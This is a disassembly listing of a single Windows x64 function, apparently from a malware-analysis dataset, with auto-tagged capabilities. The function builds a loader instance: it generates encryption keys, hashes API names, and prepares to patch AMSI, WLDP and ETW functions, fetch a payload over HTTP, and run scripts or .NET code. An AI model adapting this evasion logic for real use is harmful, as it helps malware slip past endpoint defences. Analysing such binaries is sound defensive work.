Function at 0x180003120
Capabilities:
Encode data using xor
Generate random numbers via winapi

Disassembly:
push rbx
push rsi
push rdi
push r13
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r13d, r13d
mov qword [rsp + 0x38], rcx
cmp dword [rcx + 0x1248], 1
mov rsi, rcx
mov edi, 0x1290
jne 0x180003160
add edi, dword [rcx + 0x123c]
movsxd rcx, edi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x18000317e
lea eax, [rbx + 6]
jmp 0x18000398d
mov qword [rsi + 0x1250], rbx
mov dword [rax], edi
mov eax, dword [rsi + 0x1248]
mov dword [rsi + 0x124c], edi
mov dword [rbx + 0x920], eax
mov eax, dword [rsi + 0x20]
mov dword [rbx + 0x230], eax
mov eax, dword [rsi + 0x28]
mov dword [rbx + 0x238], eax
mov eax, dword [rsi + 0x18]
mov dword [rbx + 0x234], eax
mov eax, dword [rsi + 0xc]
mov dword [rbx + 0x570], eax
mov eax, dword [rsi + 0x10]
mov dword [rbx + 0x574], eax
movsxd rax, dword [rsi + 0x123c]
mov qword [rbx + 0xd58], rax
cmp dword [rsi + 0x18], 3
mov qword [rsp + 0xd0], r12
jne 0x1800032e7
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180003906
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180003906
movups xmm0, xmmword [rsp + 0x60]
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
movups xmmword [rbx + 4], xmm0
xor edx, edx
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rbx + 0x14], xmm1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180003906
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180003906
movups xmm0, xmmword [rsp + 0x40]
lea rcx, [rbx + 0xc2c]
mov edx, 8
movups xmmword [rbx + 0xd38], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbx + 0xd48], xmm1
call fcn.180002dd0
test eax, eax
je 0x180003906
lea r12, [rbx + 0x28]
mov edx, 8
mov rcx, r12
call fcn.180002d60
test eax, eax
jne 0x1800032eb
jmp 0x180003906
lea r12, [rbx + 0x28]
mov rax, qword [str.kernel32.dll]
mov ecx, r13d
test rax, rax
je 0x18000337e
mov qword [rsp + 0xc8], rbp
lea rsi, str.kernel32.dll
mov qword [rsp + 0xd8], r15
mov rbp, r13
lea r15, [rbx + 0x30]
mov r14, r13
nop
mov rdx, qword [r12]
mov rcx, rax
call fcn.1800054a0
mov rdx, qword [r12]
mov rdi, rax
mov rcx, qword [r14 + rsi + 8]
call fcn.1800054a0
xor rax, rdi
inc rbp
mov qword [r15], rax
lea r15, [r15 + 8]
mov r14, rbp
inc r13d
shl r14, 4
mov rax, qword [r14 + rsi]
test rax, rax
jne 0x180003320
mov r15, qword [rsp + 0xd8]
mov rbp, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0x38]
mov dword [rsp + 0x30], r13d
xor r13d, r13d
mov ecx, dword [rsp + 0x30]
mov dword [rbx + 0x23c], ecx
movups xmm0, xmmword [str.ole32_oleaut32_wininet_mscoree_shell32]
movups xmmword [rbx + 0x240], xmm0
movups xmm1, xmmword [0x1800079a0]
movups xmmword [rbx + 0x250], xmm1
mov eax, dword [0x1800079b0]
mov dword [rbx + 0x260], eax
movzx eax, word [0x1800079b4]
mov word [rbx + 0x264], ax
movzx eax, byte [0x1800079b6]
mov byte [rbx + 0x266], al
mov ecx, dword [rsi + 0x1238]
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x1800034ab
lea eax, [rcx - 5]
cmp eax, 1
ja 0x1800034ff
movups xmm0, xmmword [0x180010790]
movabs rax, 0x74706972635357
movups xmmword [rbx + 0x830], xmm0
movups xmm1, xmmword [0x1800102f0]
movups xmmword [rbx + 0x840], xmm1
movups xmm0, xmmword [0x1800107b0]
movups xmmword [rbx + 0x8c0], xmm0
movups xmm1, xmmword [0x1800102c0]
movups xmmword [rbx + 0x8d0], xmm1
movups xmm0, xmmword [0x180010350]
movups xmmword [rbx + 0x8e0], xmm0
movups xmm1, xmmword [0x180010780]
movups xmmword [rbx + 0x8f0], xmm1
movups xmm0, xmmword [0x1800102e0]
movups xmmword [rbx + 0x900], xmm0
movups xmm1, xmmword [0x180010320]
mov qword [rbx + 0x611], rax
movups xmmword [rbx + 0x910], xmm1
movsd xmm0, qword [str.wscript.exe]
movsd qword [rbx + 0x619], xmm0
mov eax, dword [0x1800079c0]
mov dword [rbx + 0x621], eax
cmp dword [rsi + 0x1238], 5
jne 0x18000349b
movups xmm0, xmmword [0x180010330]
movups xmmword [rbx + 0x8b0], xmm0
jmp 0x1800034ff
movups xmm0, xmmword [0x1800107a0]
movups xmmword [rbx + 0x8b0], xmm0
jmp 0x1800034ff
movups xmm0, xmmword [0x180010300]
movups xmmword [rbx + 0x8a0], xmm0
movups xmm1, xmmword [0x1800102d0]
movups xmmword [rbx + 0x860], xmm1
movups xmm0, xmmword [0x180010370]
movups xmmword [rbx + 0x850], xmm0
movups xmm1, xmmword [0x180010340]
movups xmmword [rbx + 0x870], xmm1
movups xmm0, xmmword [0x180010360]
movups xmmword [rbx + 0x890], xmm0
movups xmm1, xmmword [0x180010310]
movups xmmword [rbx + 0x880], xmm1
cmp dword [rsi + 0xc], 1
je 0x1800036d3
mov dword [rbx + 0x35c], 0x726c63
mov eax, dword [str.amsi]
mov dword [rbx + 0x354], eax
movzx eax, byte [0x1800079c8]
mov byte [rbx + 0x358], al
movsd xmm0, qword [str.AmsiInitialize]
movsd qword [rbx + 0x5b8], xmm0
mov eax, dword [0x1800079d8]
mov dword [rbx + 0x5c0], eax
movzx eax, word [0x1800079dc]
mov word [rbx + 0x5c4], ax
movzx eax, byte [0x1800079de]
mov byte [rbx + 0x5c6], al
movsd xmm0, qword [str.AmsiScanBuffer]
movsd qword [rbx + 0x5c8], xmm0
mov eax, dword [0x1800079e8]
mov dword [rbx + 0x5d0], eax
movzx eax, word [0x1800079ec]
mov word [rbx + 0x5d4], ax
movzx eax, byte [0x1800079ee]
mov byte [rbx + 0x5d6], al
movsd xmm0, qword [str.AmsiScanString]
movsd qword [rbx + 0x5d8], xmm0
mov eax, dword [0x1800079f8]
mov dword [rbx + 0x5e0], eax
movzx eax, word [0x1800079fc]
mov word [rbx + 0x5e4], ax
movzx eax, byte [0x1800079fe]
mov byte [rbx + 0x5e6], al
mov eax, dword [str.wldp]
mov dword [rbx + 0x360], eax
movzx eax, byte [0x180007a04]
mov byte [rbx + 0x364], al
movups xmm0, xmmword [str.WldpQueryDynamicCodeTrust]
movups xmmword [rbx + 0x578], xmm0
movsd xmm0, qword [0x180007a18]
movsd qword [rbx + 0x588], xmm0
movzx eax, word [0x180007a20]
mov word [rbx + 0x590], ax
movups xmm0, xmmword [str.WldpIsClassInApprovedList]
movups xmmword [rbx + 0x598], xmm0
movsd xmm0, qword [0x180007a38]
movsd qword [rbx + 0x5a8], xmm0
movzx eax, word [0x180007a40]
mov word [rbx + 0x5b0], ax
mov eax, dword [str.ntdll]
mov dword [rbx + 0x368], eax
movzx eax, word [0x180007934]
mov word [rbx + 0x36c], ax
movsd xmm0, qword [str.EtwEventWrite]
movsd qword [rbx + 0x5e8], xmm0
mov eax, dword [0x180007a50]
mov dword [rbx + 0x5f0], eax
movzx eax, word [0x180007a54]
mov word [rbx + 0x5f4], ax
movups xmm0, xmmword [str.EtwEventUnregister]
movups xmmword [rbx + 0x5f8], xmm0
movzx eax, word [0x180007a68]
mov word [rbx + 0x608], ax
movzx eax, byte [0x180007a6a]
mov word [rbx + 0x60c], 0xc3
mov byte [rbx + 0x60a], al
movzx eax, word [0x180007a6c]
mov word [rbx + 0x60d], ax
movzx eax, byte [0x180007a6e]
mov byte [rbx + 0x60f], al
cmp dword [rsi + 0x1238], 4
jne 0x1800037eb
cmp byte [rsi + 0x62c], 0
je 0x180003794
mov eax, dword [0x180007a74]
mov dword [rbx + 0x340], eax
movzx eax, word [0x180007a78]
mov word [rbx + 0x344], ax
movsd xmm0, qword [str.kernelbase]
movsd qword [rbx + 0x348], xmm0
movzx eax, word [0x180007a88]
mov word [rbx + 0x350], ax
movzx eax, byte [0x180007a8a]
mov byte [rbx + 0x352], al
movaps xmm0, xmmword [str._acmdln___argv___p__acmdln___p___argv__wcmdln___wargv___p__wcmdln___p___wargv]
movups xmmword [rbx + 0x370], xmm0
movaps xmm1, xmmword [0x180007aa0]
movups xmmword [rbx + 0x380], xmm1
movaps xmm0, xmmword [0x180007ab0]
movups xmmword [rbx + 0x390], xmm0
movaps xmm1, xmmword [0x180007ac0]
movups xmmword [rbx + 0x3a0], xmm1
movsd xmm0, qword [0x180007ad0]
movsd qword [rbx + 0x3b0], xmm0
mov eax, dword [0x180007ad8]
mov dword [rbx + 0x3b8], eax
movzx eax, word [0x180007adc]
mov word [rbx + 0x3bc], ax
cmp dword [rsi + 0x24], 0
je 0x1800037eb
movups xmm0, xmmword [str.ExitProcess_exit__exit__cexit__c_exit_quick_exit__Exit]
movups xmmword [rbx + 0x470], xmm0
movups xmm1, xmmword [0x180007af0]
movups xmmword [rbx + 0x480], xmm1
movups xmm0, xmmword [0x180007b00]
movups xmmword [rbx + 0x490], xmm0
mov eax, dword [0x180007b10]
mov dword [rbx + 0x4a0], eax
movzx eax, word [0x180007b14]
mov word [rbx + 0x4a4], ax
movzx eax, byte [0x180007b16]
mov byte [rbx + 0x4a6], al
lea rcx, [rsi + 0x730]
mov rdx, rbx
sub rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx + 0x625], al
lea rcx, [rcx + 1]
test al, al
jne 0x180003800
mov eax, dword [rbx + 0x920]
cmp eax, 2
jne 0x18000391b
lea rcx, [rsi + 0x1138]
cmp byte [rcx], 0
jne 0x180003844
cmp dword [rsi + 0x18], 1
jne 0x1800038f4
movabs rax, 0x4141414141414141
mov qword [rcx], rax
lea rcx, [rsi + 0xf38]
mov rdx, rbx
sub rdx, rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx + 0x924], al
lea rcx, [rcx + 1]
test al, al
jne 0x180003860
lea rcx, [rbx + 0x923]
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180003880
xor edx, edx
nop dword [rax]
movzx eax, byte [rsi + rdx + 0x1138]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180003890
mov dword [rbx + 0xc24], 0x544547
cmp dword [rsi + 0x18], 3
jne 0x180003982
mov rdx, qword [rbx + 0x28]
lea rcx, [rbx + 0xc2c]
call fcn.1800054a0
mov rcx, qword [rsi + 0x1240]
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x518], rax
lea rcx, [rsp + 0x40]
mov r9d, dword [rsi + 0x123c]
mov r8, qword [rsi + 0x1240]
call fcn.180004c10
jmp 0x180003941
mov edx, 8
call fcn.180002dd0
test eax, eax
jne 0x180003844
mov rcx, qword [rsi + 0x1240]
mov r13d, 0xb
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180003982
cmp eax, 1
jne 0x180003941
mov rcx, qword [rsi + 0x1250]
movsxd r8, dword [rsi + 0x123c]
add rcx, 0xd60
mov rdx, qword [rsi + 0x1240]
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi + 0x18], 3
jne 0x180003982
mov rdx, qword [rbx + 0x28]
lea rcx, [rbx + 0xc2c]
call fcn.1800054a0
mov qword [rbx + 0xd30], rax
lea r8, [rbx + 0x23c]
mov r9d, dword [rsi + 0x124c]
lea rdx, [rsp + 0x70]
sub r9d, 0x23c
lea rcx, [rsp + 0x60]
call fcn.180004c10
mov r12, qword [rsp + 0xd0]
mov eax, r13d
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180005590
add rsp, 0x90
pop r14
pop r13
pop rdi
pop rsi
pop rbx
ret